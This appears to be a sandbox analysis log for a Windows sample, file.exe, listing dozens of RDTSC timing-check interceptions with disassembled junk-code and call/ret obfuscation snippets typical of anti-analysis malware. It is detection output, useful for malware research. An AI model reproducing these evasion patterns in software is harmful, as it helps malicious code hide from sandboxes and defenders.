Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCE5A second address: 9CCE5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCE5E second address: 9AC6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA1A50F8706h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007FA1A50F86FCh 0x00000012 lea eax, dword ptr [ebp+1248EB61h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FA1A50F86F8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov ecx, dword ptr [ebp+122D2A9Eh] 0x00000038 nop 0x00000039 ja 00007FA1A50F86FEh 0x0000003f push eax 0x00000040 jp 00007FA1A50F86FEh 0x00000046 jo 00007FA1A50F86F8h 0x0000004c push eax 0x0000004d pop eax 0x0000004e nop 0x0000004f or edx, dword ptr [ebp+122D2BBAh] 0x00000055 call dword ptr [ebp+122D3594h] 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push ecx 0x00000060 pop ecx 0x00000061 push edx 0x00000062 pop edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD307 second address: 811A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FA1A50FC136h 0x00000009 jmp 00007FA1A50FC144h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007FA1A50FC146h 0x00000019 push dword ptr [ebp+122D0FD9h] 0x0000001f call dword ptr [ebp+122D2D7Bh] 0x00000025 pushad 0x00000026 or dword ptr [ebp+122D3737h], esi 0x0000002c xor eax, eax 0x0000002e pushad 0x0000002f mov eax, 18437471h 0x00000034 cmc 0x00000035 popad 0x00000036 pushad 0x00000037 and ah, 00000000h 0x0000003a pushad 0x0000003b sub dword ptr [ebp+122D3737h], edi 0x00000041 popad 0x00000042 popad 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 jo 00007FA1A50FC13Fh 0x0000004d pushad 0x0000004e mov edi, dword ptr [ebp+122D2BEEh] 0x00000054 stc 0x00000055 popad 0x00000056 mov dword ptr [ebp+122D2B0Ah], eax 0x0000005c mov dword ptr [ebp+122D3270h], edx 0x00000062 mov esi, 0000003Ch 0x00000067 cld 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D3270h], ecx 0x00000072 lodsw 0x00000074 add dword ptr [ebp+122D3737h], ebx 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e jmp 00007FA1A50FC144h 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cld 0x00000088 nop 0x00000089 push eax 0x0000008a push edx 0x0000008b jnp 00007FA1A50FC138h 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD486 second address: 9CD48A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD8E1 second address: 9CD92F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FA1A50FC138h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000004h 0x0000002a mov di, FCC5h 0x0000002e nop 0x0000002f pushad 0x00000030 jmp 00007FA1A50FC145h 0x00000035 push eax 0x00000036 push edx 0x00000037 push edx 0x00000038 pop edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDEB4 second address: 9CDEC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnc 00007FA1A50F86F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDEC8 second address: 9CDED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC13Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE121 second address: 9CE156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA1A50F8708h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jp 00007FA1A50F86F6h 0x00000017 jmp 00007FA1A50F86FAh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A077BE second address: A077CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA1A50FC136h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A077CE second address: A077F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007FA1A50F8704h 0x0000000d je 00007FA1A50F86F6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A077F3 second address: A07810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50FC149h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07810 second address: A0782D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8702h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07997 second address: A0799B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0799B second address: A079A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07B2F second address: A07B54 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA1A50FC136h 0x00000008 jp 00007FA1A50FC136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 je 00007FA1A50FC136h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop edx 0x0000001d jne 00007FA1A50FC138h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07B54 second address: A07B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA1A50F86FAh 0x00000009 jmp 00007FA1A50F86FBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CBA second address: A07CD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA1A50FC149h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CD9 second address: A07CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CE7 second address: A07CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CEF second address: A07CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CF5 second address: A07CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07F52 second address: A07F59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07F59 second address: A07F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50FC144h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07F79 second address: A07F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07F80 second address: A07FAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FA1A50FC136h 0x00000009 jmp 00007FA1A50FC144h 0x0000000e js 00007FA1A50FC136h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FA1A50FC136h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A118A0 second address: A118B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007FA1A50F86F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11A0F second address: A11A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9829D9 second address: 9829F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FCh 0x00000007 pushad 0x00000008 jmp 00007FA1A50F86FBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14212 second address: A1423D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA1A50FC136h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007FA1A50FC149h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19197 second address: A191C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FA1A50F86F8h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FA1A50F8707h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98442A second address: 984445 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA1A50FC136h 0x00000008 jmp 00007FA1A50FC141h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984445 second address: 984460 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007FA1A50F86F6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jns 00007FA1A50F86F6h 0x00000013 jl 00007FA1A50F86F6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A184AB second address: A184B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18A43 second address: A18A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA1A50F8702h 0x0000000a jnp 00007FA1A50F86F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18A55 second address: A18A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18D34 second address: A18D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18D3A second address: A18D47 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA1A50FC136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E073 second address: A1E07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E07A second address: A1E07F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E07F second address: A1E085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E23A second address: A1E23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E23E second address: A1E27F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8707h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA1A50F8709h 0x0000000e pushad 0x0000000f jp 00007FA1A50F86F6h 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E514 second address: A1E529 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA1A50FC136h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E529 second address: A1E537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E699 second address: A1E69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E69D second address: A1E6AD instructions: 0x00000000 rdtsc 0x00000002 je 00007FA1A50F86F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E6AD second address: A1E6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDAFE second address: 9CDB04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDB04 second address: 9CDB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDB08 second address: 9CDB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDB0C second address: 9CDBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2D38h], esi 0x00000011 stc 0x00000012 mov ebx, dword ptr [ebp+1248EBA0h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FA1A50FC138h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 and ecx, 0C744AE0h 0x00000038 add eax, ebx 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007FA1A50FC138h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 call 00007FA1A50FC140h 0x00000059 push ebx 0x0000005a jg 00007FA1A50FC136h 0x00000060 pop edx 0x00000061 pop ecx 0x00000062 add edx, 61498BFCh 0x00000068 nop 0x00000069 jl 00007FA1A50FC15Bh 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FA1A50FC149h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDBAA second address: 9CDBC3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50F86F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007FA1A50F8702h 0x00000011 jbe 00007FA1A50F86FCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F39C second address: A1F3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA1A50FC148h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F3BF second address: A1F3C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F3C5 second address: A1F3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA1A50FC145h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226AA second address: A226AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226AE second address: A226BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA1A50FC136h 0x00000008 jl 00007FA1A50FC136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226BE second address: A226C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226C4 second address: A226C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226C8 second address: A226DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226DB second address: A22728 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007FA1A50FC13Dh 0x00000010 js 00007FA1A50FC136h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA1A50FC144h 0x0000001e jmp 00007FA1A50FC148h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22728 second address: A22732 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA1A50F86F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22732 second address: A22738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21EA1 second address: A21EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21EA5 second address: A21EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2200E second address: A22031 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA1A50F86F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA1A50F8701h 0x00000011 js 00007FA1A50F86F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22031 second address: A22035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A280A6 second address: A280AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28341 second address: A2837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA1A50FC136h 0x0000000a jmp 00007FA1A50FC144h 0x0000000f popad 0x00000010 jmp 00007FA1A50FC141h 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edi 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28985 second address: A28989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28989 second address: A28991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28991 second address: A289BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA1A50F8708h 0x00000008 jnc 00007FA1A50F86F6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 jng 00007FA1A50F86FEh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A289BF second address: A289DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA1A50FC146h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FBC second address: A28FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FC2 second address: A28FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA1A50FC144h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FDB second address: A28FE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FE4 second address: A28FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FEA second address: A28FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29892 second address: A298A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC13Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A298A7 second address: A298AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29BB9 second address: A29BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F519 second address: 97F553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FBh 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c jo 00007FA1A50F870Fh 0x00000012 jmp 00007FA1A50F8709h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DE7B second address: A2DE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FA1A50FC136h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DFDB second address: A2DFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
